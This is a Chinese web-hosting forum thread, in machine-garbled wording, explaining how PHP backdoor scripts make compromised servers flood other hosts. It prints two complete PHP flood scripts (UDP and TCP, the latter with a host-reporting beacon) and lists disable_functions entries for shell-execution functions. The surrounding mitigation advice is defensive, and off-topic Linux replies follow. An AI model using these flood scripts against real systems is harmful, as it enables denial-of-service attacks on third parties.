仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 597|回复: 9
打印 上一主题 下一主题

[其他Linux] 来一发php对外发包激发服务器溃散的最终办理办法分享[保举]

[复制链接]
只想知道 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 15:58:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
在这里你会学到更多的知识,学习linux,更要学习一种geek的精神,python之禅中也说过:以总结分享为荣,以跪求其解为耻;
1、php对外发包剖析
用php代码挪用sockets,间接用服务器的收集打击其余IP,罕见代码以下:
.代码以下:

$packets=0;
$ip=$_GET[ip];
$rand=$_GET[port];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time=$_GET[        ime];
$time=time();
print"Flooded:$iponport$rand
";
$max_time=$time+$exec_time;

for($i=0;$i<65535;$i++){
$out.="X";
}
while(1){
$packets++;
if(time()>$max_time){
break;
}
$fp=fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo"Packetcompleteat".time(h:i:s)."with
$packets(".round(($packets*65)/1024,2)."mB)packetsaveraging".
round($packets/$exec_time,2)."packets/s
";
?>


2、体现特性
一翻开IIS,服务器的流出带宽就用光-----就是压服务器不休向他人发包,这个情形和遭到DDOS打击是分歧的,DDOS是服务器不休收到大批数据包.
近期因为DEDECMS呈现毛病而招致大批服务器呈现这个成绩.
怎样疾速找到这些站?
你能够翻开日记
C:WindowsSystem32LogFilesHTTPERRhttperr...log,翻开明天工夫的文件,
内里有相似如许的纪录:
2011-04-2606:37:2858.255.112.1122681798.126.247.1380HTTP/1.1GET/xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120503783Disabled30_FreeHost_1
最初三项783Disabled30_FreeHost_1
783就是这个站在IIS中的ID
30_FreeHost_1就是地点池

3、办理举措
1.按上述找到这个网站后中断它.或中断池,偏重启IIS.
2.在IP战略,或防火墙中,克制一切udp向外发送
在星外最新版本的平安包中,已带有4.0版本的IP战略【下载safe包】,您导进后就间接能够限定了外发的UDP包。下载这个包,以后导进平安战略。但这个战略并没有封闭DNS端口,部分打击仍是无效.
为懂得决这个成绩,你也能够调剂IP战略,限定udp只能会见特定的DNS服务器IP,如8.8.8.8,除非黑客打击这个IP,否则打击也是有效的,你能够在网卡DNS中设置一个你才晓得的DNSIP,而且不要公然,然后挪用IP战略中的udpopen部分就能够办理.(翻开IP战略的属性,双击open,将open中的两条udp纪录删除恣意一条,在保存的这条中,双击,改成地点从源地点任何地点到方针地点"特定IP这个IP就是设置为你本人的DNSIP,如8.8.8.8"保留后就好了)
在2011-4-27,我们上传了新的平安包,内里有一个"星外假造主机办理平台IP战略封闭一切UDP端口用.ipsec"文件,您能够导进它并启用,就能够封闭一切udp端口,就能够完整避免这类打击,可是,这个战略因为封闭了DNS端口,会酿成的这台服务器上没法用IE会见任何域名,因而,用户的收罗功效也就用不了.(一样,假如在主控网站上用了这个战略,就会酿成的受控自检欠亨过,由于剖析不了域名,别的,部分用户反应此战略会酿成的mysql不一般)

3.用一流信息监控,在SQL拦阻及网址拦阻中,拦阻port=这个关头词(其他关头词能够删除.)
4.也能够间接克制下面的代码,如改winphp.ini后重启IIS
ignore_user_abort=On
(注重后面的;号要删除)
disable_functions=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在前面加上
fsockopen,set_time_limit
但如许会形成良多php程序都不一般.
别的,这也标明你的服务器平安做得不错,假如能进侵.黑客就间接提权了,还DOS做甚么?

近期已有新的基于TCP打击的PHPDDOS代码以下:
.代码以下:

set_time_limit(999999);
$host=$_GET[host];
$port=$_GET[port];
$exec_time=$_GET[time];
$packets=64;
ignore_user_abort(True);
if(StrLen($host)==0orStrLen($port)==0orStrLen($exec_time)==0){
if(StrLen($_GET[rat])0){
echo$_GET[rat].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[SERVER_NAME])."|".
php_uname()."|".$_SERVER[SERVER_SOFTWARE].$_GET[rat];
exit;
}
exit;
}
$max_time=time()+$exec_time;
while(1){
$packets++;
if(time()>$max_timeor$exec_time!=69){
break;
}
$fp=fsockopen("tcp://$host",$port,$errno,$errstr,0);
}
?>


一样,能够采有以下办理举措:
1.也能够间接克制下面的代码,如改winphp.ini后重启IIS
ignore_user_abort=On
(注重后面的;号要删除)
disable_functions=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
在前面加上
fsockopen,set_time_limit
但如许会形成良多php程序都不一般.
2.在IP战略中克制一切外访的TCP数据包,但如许会酿成的收罗功效有效,也不克不及用在主控服务器上。
3.在服务器要用关头词tcp:或udp:搜刮一切php类文件,找到打击文件,删除它。

以上办法供vps、服务器托管用户进修!
常常有些朋友在Linux论坛问一些问题,不过,其中大多数的问题都是很基的。
飘飘悠悠 该用户已被删除
沙发
发表于 2015-1-18 16:18:47 | 只看该作者
在系统检测不到与Linux兼容的显卡,那么此次安装就可能不支持图形化界面安装,而只能用文本模式安装等等。
若相依 该用户已被删除
板凳
发表于 2015-1-18 16:18:51 | 只看该作者
我们这一代90后,从小接触的是windows98,家里条件好的自己有电脑装的是2000,后来又有了XP,上大学时又有了win7。
admin 该用户已被删除
地板
发表于 2015-1-25 18:05:25 | 只看该作者
在系统检测不到与Linux兼容的显卡,那么此次安装就可能不支持图形化界面安装,而只能用文本模式安装等等。
活着的死人 该用户已被删除
5#
发表于 2015-2-3 12:51:06 | 只看该作者
硬盘安装及光盘安装,清楚了解安装Linux应注意的有关问题,如安装Linux应在最后一个分区内,至少分二个分区。
透明 该用户已被删除
6#
发表于 2015-2-9 02:52:43 | 只看该作者
选择一些适于初学者的Linux社区。
简单生活 该用户已被删除
7#
发表于 2015-2-26 19:36:42 | 只看该作者
Linux操作系统这个名词记得在很早以前就听过,但当时并不知道具体是什么样的操作系统,只知道是一个与嵌入式密切相关的操作系统。
再现理想 该用户已被删除
8#
发表于 2015-3-8 17:24:25 | 只看该作者
这种补充有助于他人在邮件列表/新闻组/论坛中搜索对你有过帮助的完整解决方案,这可能对他们也很有用。
深爱那片海 该用户已被删除
9#
发表于 2015-3-16 08:26:19 | 只看该作者
Linux?最大的优点在于其作为服务器的强大功能,同时支持多种应用程序及开发工具,所以Linux操作系统有着广泛的应用空间。
小妖女 该用户已被删除
10#
发表于 2015-3-22 21:58:56 | 只看该作者
熟悉操作是日常学习Linux中的三大法宝。以下是作者学习Linux的一些个人经验,供参考:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2025-1-6 03:37

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表